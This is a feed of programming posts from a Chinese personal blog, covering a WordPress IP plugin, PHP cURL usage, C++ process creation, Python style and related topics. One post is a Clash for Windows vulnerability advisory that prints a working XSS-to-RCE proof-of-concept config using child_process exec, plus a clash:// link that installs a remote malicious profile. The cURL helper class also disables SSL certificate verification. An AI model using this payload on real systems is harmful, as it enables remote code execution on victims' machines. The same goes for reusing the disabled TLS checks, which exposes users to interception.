墨少离 - 个人小站,分享一些资源以及心得~ - 编程学习 https://www.msl.la/category/Programming/ 嗯。。。。C++ C# PHP GO Python等常见的编程语言学习资料或者经验就丢这里咯 WP Real IP Checker https://www.msl.la/archives/618/ 2025-08-15T18:52:00+08:00 📌 插件简介WP Real IP Checker 是一款适用于 WordPress 的插件,用于在反向代理或 CDN(如 Cloudflare、Nginx、Akamai 等)环境下获取访问者的真实客户端 IP。 支持可信代理 CIDR 白名单,可选安全模式,并支持自动获取 Cloudflare 官方网段(手动同步 + 定时任务刷新)。✨ 功能特点精准 IP 获取 支持 Cloudflare 专用头 CF-Connecting-IP、True-Client-IP,Nginx 常用头 X-Forwarded-For、X-Real-IP 等。安全模式 仅当请求来源于可信代理 CIDR 列表时才信任代理头部,防止 IP 伪造。Cloudflare 自动网段同步 一键手动同步 + 首次开启自动预热 + WP-Cron 定时每日更新。后台页脚显示当前 IP(仅管理员可见)前台短代码 [real_ip] 显示当前访问者的 IP。调试模式(WP_DEBUG) 可输出当前解析路径及缓存信息。🛠 安装方法下载插件文件 real-ip-checker ,将整个文件夹上传到:/wp-content/plugins/real-ip-checker/进入 WordPress 后台 → 插件 → 启用 Real IP Checker。后台左侧菜单 → 设置 → Real IP Checker 进行配置。⚙️ 配置说明1. 只信任可信代理的头部(安全模式)建议开启(生产环境):仅在来源 IP 属于可信代理 CIDR 时,才解析代理头部。关闭后将无条件解析头部(风险高,测试环境可用)。2. 自动包含 Cloudflare 官方网段开启后插件会从 Cloudflare 官网抓取并缓存 IPv4 / IPv6 网段。支持:手动同步按钮 → 立即更新缓存首次开启预热 → 保存设置时自动抓取WP-Cron 自动刷新 → 每日更新一次3. 自定义可信代理(CIDR / IP)每行填写一个 IPv4 / IPv6 地址或 CIDR 段。可与 Cloudflare 网段叠加使用。4. 后台页脚显示当前 IP仅管理员可见,用于快速确认解析结果。🔍 IP 解析逻辑安全模式开启且来源不在可信代理列表 → 直接使用 REMOTE_ADDR来源在 Cloudflare 官方网段 → 只解析:CF-Connecting-IP(优先)True-Client-IP(备选)来源在其他可信代理网段 → 按顺序解析:X-Forwarded-For(取最左公共 IP)X-Real-IP、Client-IP 等以上均未命中 → 回退 REMOTE_ADDR🧩 短代码[real_ip] 在页面或文章中输出当前访问者 IP。🧪 调试模式在 wp-config.php 中开启:define('WP_DEBUG', true);后台页脚会显示:访问来源 IP (REMOTE_ADDR)是否来自可信代理解析出的真实 IP缓存的 Cloudflare 网段数量🗓 定时任务插件激活时自动注册 WP-Cron 事件 ric_cron_refresh_cf。每日随机延迟 5~30 分钟后执行一次 Cloudflare 网段更新。插件停用/卸载会自动清理定时任务与缓存。📜 许可证本插件遵循 GPLv2 或更高版本 开源协议。 PHP使用curl发送请求 https://www.msl.la/archives/507/ 2022-03-21T13:54:50+08:00 cURL 是一个利用URL语法规定来传输文件和数据的工具,支持很多协议,如HTTP、FTP、TELNET等,我们使用它来发送HTTP请求。它给我 们带来的好处是可以通过灵活的选项设置不同的HTTP协议参数,并且支持HTTPS。本文将介绍cURL的一些特性,以及在PHP中如何运用它。使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下四个步骤:1.初始化连接句柄curl_init();2.设置CURL选项curl_setopt() ;3.执行并获取结果curl_exec();4.释放VURL连接句柄curl_close()。curl实现GET//初始化 $ch = curl_init(); //设置选项,包括URL curl_setopt($ch, CURLOPT_URL, "http://www.68xi.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); //执行并获取HTML文档内容 $output = curl_exec($ch); //释放curl句柄 curl_close($ch); //打印获得的数据 print_r($output);上述代码中使用到了四个函数 curl_init() 和 curl_close() 分别是初始化CURL连接和关闭CURL连接,都比较简单。 curl_exec() 执行CURL请求,如果没有错误发生,该函数的返回是对应URL返回的数据,以字符串表示满意;如果发生错误,该函数返回 FALSE。需要注意的是,判断输出是否为FALSE用的是全等号,这是为了区分返回空串和出错的情况。 CURL函数库里最重要的函数是curl_setopt(),它可以通过设定CURL函数库定义的选项来定制HTTP请求。上述代码片段中使用了三个重要的选项: CURLOPT_URL 指定请求的URL; CURLOPT_RETURNTRANSFER 设置为1表示稍后执行的curl_exec函数的返回是URL的返回字符串,而不是把返回字符串定向到标准输出并返回TRUE; CURLLOPT_HEADER设置为0表示不返回HTTP头部信息。 CURL`的选项还有很多,可以到PHP的官方网站(http://www.php.net/manual/en/function.curl-setopt.php)上查看CURL支持的所有选项列表。curl实现POST$url = "http://localhost/server.php"; $post_data = array ("username" => "bob","key" => "12345"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // post数据 curl_setopt($ch, CURLOPT_POST, 1); // post的变量 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $output = curl_exec($ch); curl_close($ch); //打印获得的数据 print_r($output);PHP封装好的curl请求类<?php class Curl { /** * @brief get请求 * @param $url 请求的url * @param array $param 请求的参数 * @param int $timeout 超时时间 * @param int $log 是否启用日志 * @return mixed */ public static function get($url, $param=array(), $timeout=10, $log=1) { $ch = curl_init(); if (is_array($param)) { $url = $url . '?' . http_build_query($param); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); // 允许 cURL 函数执行的最长秒数 $data = curl_exec($ch); if ($log) { $data .= "\r\n"; $data .= self::logInfo($ch, $param, $data); } curl_close($ch); return $data; } /** * @brief post请求 * @param $url 请求的url地址 * @param array $param 请求的参数 * @param int $log 是否启用日志 * @return mixed */ public static function post($url, $param=array(), $header=array(), $timeout=10, $log=1) { $ch = curl_init(); if (is_array($param)) { $urlparam = http_build_query($param); } else if (is_string($param)) { //json字符串 $urlparam = $param; } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //设置超时时间 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //返回原生的(Raw)输出 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POST, 1); //POST curl_setopt($ch, CURLOPT_POSTFIELDS, $urlparam); //post数据 if ($header) { curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } $data = curl_exec($ch); if ($log) { $data .= "\r\n"; $data .= self::logInfo($ch, $param, $data); } curl_close($ch); return $data; } /** * 请求信息记录日志 * @param $ch curl句柄 * @param $request 请求参数 * @param $response 响应结果 */ private static function logInfo($ch, $request, $response) { $info = curl_getinfo($ch); $resultFormat = "耗时:[%s] 返回状态:[%s] 请求的url[%s] 请求参数:[%s] 响应结果:[%s] 大小:[%s]kb 速度:[%s]kb/s"; $resultLogMsg = sprintf($resultFormat, $info['total_time'], $info['http_code'], $info['url'], var_export($request,true),var_export($response,true), $info['size_download']/1024, $info['speed_download']/1024); return $resultLogMsg; } }使用方法// get请求 echo Curl::get('http://www.baidu.com'); // post请求 $arr = Curl::post('http://localhost:9090/test.php', ['a'=>1,'b'=>2]); print_r($arr); CFW高危漏洞!远程执行恶意指令,窃取用户隐私数据,请尽快更新到最新版本clash for windows! https://www.msl.la/archives/494/ 2022-03-02T11:05:00+08:00 描述crash_for_windows_pkg 由 Electron 提供支持。 如果 XSS 负载以代理的名义,我们可以远程执行受害者计算机上的任何 JavaScript 代码。受影响的 clash_for_windows_pkg 版本version: 0.19.8 (0.19.9版本还有其他漏洞触发,正好是0.19.9)系统: Windows系统版本: Windows 10PoC导入以下Clash配置文件:port: 7890 socks-port: 7891 allow-lan: true mode: Rule log-level: info external-controller: :9090 proxies: - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true - name: abc type: socks5 server: 127.0.0.1 port: "8088" skip-cert-verify: true proxy-groups: - name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: select proxies: - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>切换到这个"Profiles"点击 "Proxies" 列(有时不需要。)注意:您需要确保有效负载显示在代理列中。漏洞利用在理论上是稳定的,但有时可能需要重新启动 crash_for_windows_pkg 并重现漏洞利用方式将恶意配置文件放到互联网上并使用clash://安装它,clash_for_windows_pkg 将自动下载并切换到它。例如:clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCECFW最新版本:https://github.com/Fndroid/clash_for_windows_pkg/releasesCFW漏洞issues:https://github.com/Fndroid/clash_for_windows_pkg/issues/2710#issue-1148197704 createprocess启动一个带参数进程 https://www.msl.la/archives/105/ 2021-01-31T21:35:00+08:00 #include <iostream> #include<windows.h> using namespace std; int main() { TCHAR szCmdLine[] = { TEXT("d://test//test.exe my") }; STARTUPINFO si; memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; PROCESS_INFORMATION pi; if (!CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { cout << "Create Fail!" << endl; exit(1); } else { cout << "Sucess!" << endl; exit(1); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; }#include "stdafx.h" #include <Shlwapi.h> #include <io.h> #include <set> #include <sys/stat.h> #include <iostream> using namespace std; int _tmain(int argc, _TCHAR* argv[]) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); si.dwFlags = STARTF_USESHOWWINDOW; // 指定wShowWindow成员有效 si.wShowWindow = SW_HIDE; // 此成员设为TRUE的话则显示新建进程的主窗口 TCHAR szGetInstallSoftInfoPath[MAX_PATH] = {0}; TCHAR szFilePath[MAX_PATH]={0}; _tcscpy_s(szGetInstallSoftInfoPath,MAX_PATH, _T("HtUpdate.exe -u")); _tcscpy_s(szFilePath,MAX_PATH, _T("C:\\Program Files (x86)\\huatechsec\\HtUpdate.exe -u")); BOOL bRet = CreateProcess(NULL, szFilePath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); if (!bRet) { std::cout<<"error"<<std::endl; } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); system("PAUSE"); // ShellExecute(NULL,_T("open"), _T("C:\\Program Files (x86)\\huatechsec\\HtUpdate.exe"), _T("-u"), NULL, SW_HIDE); return 0; } php 获取根域名 并301跳转至www域名 https://www.msl.la/archives/90/ 2021-01-09T16:54:50+08:00 <?php $_geturl = $_SERVER['HTTP_HOST']; $_explodeurl = explode(".",$_geturl); $url = $_explodeurl[0]; $_explodeurl = array_reverse($_explodeurl); $urlgo = $_explodeurl[1].".".$_explodeurl[0]; $domian = "com.cn|net.cn|org.cn|gov.cn|bj.cn|sh.cn|tj.cn|cq.cn|zj.cn|nm.cn|ln.cn|jl.cn|hl.cn|js.cn|he.cn|ah.cn|fj.cn|jx.cn|sd.cn|ha.cn|hb.cn|hn.cn|gd.cn|gx.cn|hi.cn|sx.cn"; $domian = explode("|",$domian); if (in_array($urlgo,$domian)) { $urlgo = $_explodeurl[2].".".$_explodeurl[1].".".$_explodeurl[0]; } function gourl_301(){ global $urlgo; header("HTTP/1.1 301 Moved Permanently"); header('Location: http://www.'.$urlgo.'/'); exit(); } if($_geturl==$urlgo){ gourl_301(); } ?> console.log()花式玩法 https://www.msl.la/archives/72/ 2020-12-17T22:32:29+08:00 附上代码:console.log(`%c %c FBI WARNING %c %c Federal Law provides severe civil and criminal penalties for the unauthorized reproduction,distribution, or exhibition of copyrighted motion pictures (Title 17, United States Code, Sections 501 and 508). The Federal Bureau of Investigation investigates allegations of criminal copyright infringement (Title 17, United States Code, Section 506). `, 'background: #000; font-size: 18px; font-family: monospace', 'background: #f33; font-size: 18px; font-family: monospace; color: #eee; text-shadow:0 0 1px #fff', 'background: #000; font-size: 18px; font-family: monospace', 'background: #000; font-size: 18px; font-family: monospace; color: #ddd; text-shadow:0 0 2px #fff' )为什么会这样呢?想必你还记得其他语言中的print()。占位符是print()的专属吗?不,他们在console.log()中同样适用:%s:字符串 %d:整数 %i:整数 %f:浮点数 %o:obj对象(DOM) %O:obj对象 %c:CSS样式console.log()可以通过以上这些特有的占位符进行信息的加工输出。是的,你可能已经明白,上面代码的玄机就在四个%c,第一个创建神秘而性感的纯黑背景;第二个给“FBI WARNING”加上红色的背景;第三个恢复纯黑的性感;第四个配上白色的文字,如此,大事已成。明白了以上原理,诸君就可以自由发挥,展示你们强大的css实力了,甚至还可以输出gif背景图如:console.log(`%c你好,亲爱的朋友, 我是墨少离, 这是我的一个小博客, 如果您喜欢请收藏一下谢谢~ 如果有存在侵权的,请发邮件至wtxly521@94qy.com,谢谢`,'font-size: 20px; color: orange;') console.log('%c ', 'font-size: 100px;background: url("https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=167741595,2706197548&fm=26&gp=0.jpg"); background-size: 100%;')效果如下: python基础之核心风格 https://www.msl.la/archives/66/ 2020-12-17T21:04:00+08:00 一.语句和语法#:注释\:转译回车,继续上一行,在一行语句较长的情况下可以使用其来切分成多行,因其可读性差所以不建议使用;:将两个语句连接到一行,可读性差,不建议使用::将代码的头和体分开语句(代码块)用缩进方式体现不同的代码级别,建议采用4个空格(不要使用tab)python文件以模块的方式组织,编写一个.py结尾的文件实际上就写了一个模块二.变量定义与赋值a=1:1为内存变量存放于内存中,a为变量的引用,python为动态语言,变量及其类型均无需事先声明类型与c的区别:a=1无返回值注:c语言变量声明必须位于代码最开始,而且要在所有语句之前c++,java可以随时随地声明变量,但是必须声明变量名字和类型python也可以随时随地声明变量,但是变量在被定义时,解释器会根据等式右侧的值来决定其类型变量必须先赋值,才可使用三.内存管理内存管理:变量无须指定类型程序员无须关心内存管理变量会被自动回收del能够直接释放内存对象(减少对象的引用计数)引用计数:增加引用计数对象被创建并将其引用赋值给变量,引用计数加1(例a=1)同一个对象的引用又赋值给其它变量,引用计数加1(例b=a)对象作为参数被函数调用,引用计数加1(例int(a)对象成为容器对象中的一个元素,引用计数加1(例list_test=['alex','z',a])减少引用计数a作为被函数调用的参数,在函数运行结束后,包括a在内的所有局部变量均会被销毁,引用计数减1变量被赋值给另外一个对象,原对象引用计数减1(例b=2,1这一内存对象的引用只剩a)使用del删除对象的引用,引用计数减1(例del a)a作为容器list_test中的一个元素,被清除,引用计数减少(例list_test.remove(a))容器本身被销毁(例del list_test)注意:python内存回收交给一段独立的代码即垃圾回收器(包含引用计数器和循环垃圾收集器),引用计数在归零时并不会立即清除(可能有循环调用)不必纠结循环引用收集,只需记住垃圾回收器帮你自动清理内存。简单例子x=1 #创建内存变量1,将变量1的引用传给x,此刻1的引用计数为1 y=x #1的引用计数增加到2 y=2 #创建新的内存变量2,将变量2的引用传给y,原本指向1的y,此刻给了2,所以1的引用计数减少到了1 del x #删除了内存对象1的引用x,此刻1再无引用,此刻它就成了python解释器回收的目标四.python对象python中使用对象模型来存储数据,用来生成数据类型的工厂函数本质上是类,新建数据的结果本质是实例化一个对象对象有三种特性身份:内存地址,可以用id()确认,id相同的就是同一个对象类型:可以用type()查看,返回值的type也是对象值五.标识符定义:允许作为名字的有效字符串集合名字必须有实际意义,可读性好首字母必须是字母或下划线(_)剩下的字符可以是字母和数字或者下划线大小写敏感两种风格:conn_obj或ConnObj不能使用关键字,不能使用内建关键字表:内建:由解释器自动导入(提供基本功能),可以看作全局变量,六.专用下划线标识符_xxx:不能用from module import *导入__xxx__:系统定义名字__xxx:类中私有变量下划线对于解释器来说有特殊意义,而且是内建标识符所使用符号,不建议自定义变量以下划线开头但是如果是类中的私有变量,__xxx将会是一个好习惯补充:系统变量__name__会根据python文件被加载方式的不同得出不同的值python文件被当作模块导入:__name__=模块名或者文件名python文件被执行:__name__='__main__'在我们使用python编写一个软件时,应该只有一个主程序中包含大量顶级代码(就是没有缩进的代码,python解释器读取到顶级代码会立即执行),其他.py文件应该只有少量顶级代码,所有功能都应该封装在函数或类中通常在文件结尾结合__name__变量,编写测试代码七.编写模块基本风格标题文档注释模块导入变量定义类定义语句函数定义语句主程序测试代码八.示范#_*_coding:utf-8_*_ #!/usr/bin/env python ''' This is an example module ''' import sys,os debug=True class Test: ''' test class ''' pass def main(): ''' test func :return: ''' pass if __name__ == '__main__': main() XML-RPC入门 https://www.msl.la/archives/61/ 2020-12-17T20:54:00+08:00 一、简介  RPC是Remote Procedure Call的缩写,翻译成中文为:远程方法调用。它是一种在本地机器上调用远端机器上的一个过程(方法)的技术,这个过程也被大家称为“分布式计算”,是为了提高各个分立机器的“互操作性”而发明出来的技术。  XML-RPC的全称是XML Remote Procedure Call,即XML远程方法调用。它是一套允许运行在不同操作系统、不同环境的程序实现基于Internet过程调用的规范和一系列的实现。这种远程过程调用使用http作为传输协议,XML作为传送信息的编码格式。Xml-Rpc的定义尽可能的保持了简单,但同时能够传送、处理、返回复杂的数据结构。XML- RPC(http://www.xmlrpc.com)是由美国UserLand公司指定的一个RPC协议。简单的理解是:将数据定义为xml格式,通过http协议进行远程传输。二、优点传输复杂的数据。通过程序语言的封装,实现远程对象的调用。三、Python下的XML-RPC类库:SimpleXMLRPCServer  一般使用在服务器端,这个模块用来构造一个最基本的XML-RPC服务器框架。类库:xmlrpclib  一般使用在客户端,这个模块用来调用注册在XML-RPC服务器端的函数,xmlrpclib并不是一个类型安全的模块,无法抵御恶意构造的数据,这方面的一些处理工作需要交给开发者自己。大致用法:使用SimpleXMLRPCServer模块运行XMLRPC服务器,在其中注册服务器提供的函数或者对象;然后在客户端内使用xmlrpclib.ServerProxy连接到服务器,想要调用服务器的函数,直接调用ServerProxy即可。简单实例:hello xmlprc服务器端:xmlrpc_server.pyimport SimpleXMLRPCServer class MyObject: def sayHello(self): return "hello xmlprc" obj = MyObject() server = SimpleXMLRPCServer.SimpleXMLRPCServer(("localhost", 8088)) server.register_instance(obj) print "Listening on port 8088" server.serve_forever()客户端:xmlrpc_client.pyimport xmlrpclib server = xmlrpclib.ServerProxy("http://localhost:8088") words = server.sayHello() print "result:" + words打开一个终端,输入命令,运行服务器端程序:chmod u+x xmlrpc_server.py python xmlrpc_server.py打开另一个新的终端,输入命令,运行客户端程序:chmod u+x xmlrpc_client.py python xmlrpc_client.py可以看到客户端控制台上输出了:hello xmlprc。如图:附:SimpleXMLRPCServer是一个单线程的服务器。这意味着,如果几个客户端同时发出多个请求,其它的请求就必须等待第一个请求完成以后才能继续。若修改服务器端如下:from SimpleXMLRPCServer import SimpleXMLRPCServer from SocketServer import ThreadingMixIn class ThreadXMLRPCServer(ThreadingMixIn, SimpleXMLRPCServer):pass class MyObject: def sayHello(self): return "hello xmlprc" obj = MyObject() server = ThreadXMLRPCServer(("localhost", 8088), allow_none=True) server.register_instance(obj) print "Listening on port 8088" server.serve_forever() 学习C++50条忠告.(转) https://www.msl.la/archives/172/ 2020-02-01T16:47:00+08:00 1.把C++当成一门新的语言学习(和C没啥关系!真的。);2.看《Thinking In C++》,不要看《C++变成死相》;3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看;4.不要被VC、BCB、BC、MC、TC等词汇所迷惑——他们都是集成开发环境,而我们要学的是一门语言;5.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单,或者可以引伸出很多知识点;6.会用Visual C++,并不说明你会C++;7.学class并不难,template、STL、generic programming也不过如此——难的是长期坚持实践和不遗余力的博览群书;8.如果不是天才的话,想学编程就不要想玩游戏——你以为你做到了,其实你的C++水平并没有和你通关的能力一起变高——其实可以时刻记住:学C++是为了编游戏的;9.看Visual C++的书,是学不了C++语言的;10.浮躁的人容易说:XX语言不行了,应该学YY;——是你自己不行了吧!?11.浮躁的人容易问:我到底该学什么;——别问,学就对了;12.浮躁的人容易问:XX有钱途吗;——建议你去抢银行;13.浮躁的人容易说:我要中文版!我英文不行!——不行?学呀!14.浮躁的人容易问:XX和YY哪个好;——告诉你吧,都好——只要你学就行;15.浮躁的人分两种:a)只观望而不学的人;b)只学而不坚持的人;16.把时髦的技术挂在嘴边,还不如把过时的技术记在心里;17.C++不仅仅是支持面向对象的程序设计语言;18.学习编程最好的方法之一就是阅读源代码;19.在任何时刻都不要认为自己手中的书已经足够了;20.请阅读《The Standard C++ Bible》(中文版:标准C++宝典),掌握C++标准;21.看得懂的书,请仔细看;看不懂的书,请硬着头皮看;22.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍;23.请看《Effective C++》和《More Effective C++》以及《Exceptional C++》;24.不要停留在集成开发环境的摇篮上,要学会控制集成开发环境,还要学会用命令行方式处理程序;25.和别人一起讨论有意义的C++知识点,而不是争吵XX行不行或者YY与ZZ哪个好;26.请看《程序设计实践》,并严格的按照其要求去做;27.不要因为C和C++中有一些语法和关键字看上去相同,就认为它们的意义和作用完全一样;28.C++绝不是所谓的C的“扩充”——如果C++一开始就起名叫Z语言,你一定不会把C和Z语言联系得那么紧密;29.请不要认为学过XX语言再改学C++会有什么问题——你只不过又在学一门全新的语言而已;30.读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++;31.学习编程的秘诀是:编程,编程,再编程;32.请留意下列书籍:《C++面向对象高效编程(C++ Effective Object-Oriented Software Construction)》《面向对象软件构造(Object-Oriented Software Construction)》《设计模式(Design Patterns)》《The Art of Computer Programming》;33.记住:面向对象技术不只是C++专有的;34.请把书上的程序例子亲手输入到电脑上实践,即使配套光盘中有源代码;35.把在书中看到的有意义的例子扩充;36.请重视C++中的异常处理技术,并将其切实的运用到自己的程序中;37.经常回顾自己以前写过的程序,并尝试重写,把自己学到的新知识运用进去;38.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路;39.C++语言和C++的集成开发环境要同时学习和掌握;40.既然决定了学C++,就请坚持学下去,因为学习程序设计语言的目的是掌握程序设计技术,而程序设计技术是跨语言的;41.就让C++语言的各种平台和开发环境去激烈的竞争吧,我们要以学习C++语言本身为主;42.当你写C++程序写到一半却发现自己用的方法很拙劣时,请不要马上停手;请尽快将余下的部分粗略的完成以保证这个设计的完整性,然后分析自己的错误并重新设计和编写(参见43);43.别心急,设计C++的class确实不容易;自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的;44.决不要因为程序“很小”就不遵循某些你不熟练的规则——好习惯是培养出来的,而不是一次记住的;45.每学到一个C++难点的时候,尝试着对别人讲解这个知识点并让他理解——你能讲清楚才说明你真的理解了;46.记录下在和别人交流时发现的自己忽视或不理解的知识点;47.请不断的对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.XX;48.保存好你写过的所有的程序——那是你最好的积累之一;49.请不要做浮躁的人;50.请热爱C++!